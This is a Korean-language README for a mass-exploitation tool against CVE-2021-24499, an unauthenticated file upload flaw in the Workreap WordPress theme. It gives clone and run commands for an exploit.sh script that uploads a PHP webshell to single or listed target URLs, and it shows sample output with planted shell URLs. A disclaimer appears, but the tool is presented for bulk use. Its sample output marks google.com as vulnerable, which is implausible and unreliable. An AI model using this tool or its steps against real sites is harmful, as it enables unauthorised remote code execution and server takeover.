CVE-2021-24499 | Workreap - 프리랜스 마켓플레이스 및 디렉토리 WordPress 테마 < 2.2.2 - 임의 파일 업로드

WordPress 테마 Workreap 2.2.2 - 인증되지 않은 파일 업로드로 인한 원격 코드 실행

WordPress Workreap 테마의 CVE-2021-24499 취약점을 위한 강력하고 정확한 대량 익스플로잇 도구입니다. 이 익스플로잇은 인증되지 않은 파일 업로드를 허용하여 원격 코드 실행(RCE)으로 이어질 수 있습니다.

📝 설명

CVE-2021-24499는 WordPress Workreap 테마(버전 2.2.2 이하)의 심각한 취약점으로, 인증되지 않은 사용자가 workreap_award_temp_file_uploader AJAX 액션을 통해 PHP 파일을 포함한 임의의 파일을 업로드할 수 있게 합니다. 이로 인해 대상 서버에서 원격 코드 실행(RCE)이 발생할 수 있습니다.

취약한 버전: 2.2.2 이하의 모든 버전

CVSS 점수: 치명적

📦 요구 사항

Bash 셸 (Linux/macOS/WSL)
curl 명령줄 도구
opts.php 또는 shell.php 파일 (PHP 웹셸)

🔧 설치

이 저장소를 클론하세요:

git clone https://github.com/jayhutajulu1/CVE-2021-24499.git
cd CVE-2021-24499

스크립트를 실행 가능하게 만드세요:

chmod +x exploit.sh

동일한 디렉토리에 opts.php 또는 shell.php 파일(PHP 웹셸)이 있는지 확인하세요

🚀 사용법

기본 사용법

단일 대상:

./exploit.sh -u http://target.com

다중 대상 (파일에서):

./exploit.sh -l targets.txt

도움말 보기:

./exploit.sh --help

명령줄 옵션

옵션	설명
`-u URL`	단일 대상 URL 익스플로잇
`-l FILE`	파일에서 여러 대상 익스플로잇 (줄마다 URL 하나)
`--help`	도움말 메뉴 표시

대상 파일 형식

한 줄에 URL 하나씩 텍스트 파일을 만드세요:

http://target1.com
https://target2.com
http://target3.com

📸 예시

예시 1: 단일 대상 익스플로잇

$ ./exploit.sh -u https://domain.com

WordPress Theme Workreap 2.2.2 - Unauthenticated Upload Leading to Remote Code Execution | CVE-2021-24499
Made by Jay Maranatha Hutajulu

https://domain.com/ >> VULNERABLE! 
 --> SHELL: https://domain.com//wp-content/uploads/workreap-temp/shell.php

예시 2: 대량 익스플로잇

$ ./exploit.sh -l targets.txt

WordPress Theme Workreap 2.2.2 - Unauthenticated Upload Leading to Remote Code Execution | CVE-2021-24499
Made by Jay Maranatha Hutajulu

https://domain.com >> NOT VULNERABLE!
https://www.google.com >> VULNERABLE!
https://www.domain.com >> NOT VULNERABLE!
https://google.com >> VULNERABLE!

⚠️ 면책 조항

이 도구는 교육 및 승인된 테스트 목적으로만 제공됩니다.

절대 소유하지 않았거나 테스트에 대한 명시적 서면 승인을 받지 않은 시스템에 이 도구를 사용하지 마세요
절대 불법 활동에 이 도구를 사용하지 마세요
저자와 기여자는 이 도구로 인한 어떠한 오용이나 손해에 대해 책임지지 않습니다
시스템을 테스트하기 전에 항상 적절한 권한이 있는지 확인하세요
책임감 있고 윤리적으로 사용하세요

이 도구를 사용함으로써 귀하는 합법적인 보안 테스트 및 연구 목적으로만 사용하는 데 동의하는 것입니다.

🔗 참고 자료

👤 크레딧

작성자: Jay Maranatha Hutajulu

📄 라이선스

이 프로젝트는 MIT 라이선스에 따라 라이선스가 부여됩니다. 자세한 내용은 LICENSE 파일을 참조하세요.

🤝 기여

기여, 이슈, 기능 요청은 언제나 환영합니다! 이슈 페이지를 확인해 보세요.

⭐ 스타 기록

이 도구가 유용하다고 생각되면 별표(⭐)를 눌러 주시기 바랍니다.

기억하세요: 항상 보안 도구를 책임감 있고 윤리적으로 사용하세요. 즐거운 해킹 되세요! 🚀

CVE-2021-24499

인기